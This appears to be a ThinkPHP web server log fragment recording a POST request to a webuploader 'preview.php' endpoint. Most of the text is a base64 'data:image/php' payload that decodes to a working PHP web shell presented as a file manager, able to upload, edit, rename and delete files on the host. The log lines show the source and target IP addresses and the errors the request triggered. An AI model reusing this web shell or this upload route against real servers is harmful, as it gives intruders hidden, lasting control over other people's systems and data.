'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:42+08:00 ] 119.42.146.234 POST 59.110.137.245/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.004042s] [吞吐率:247.41req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 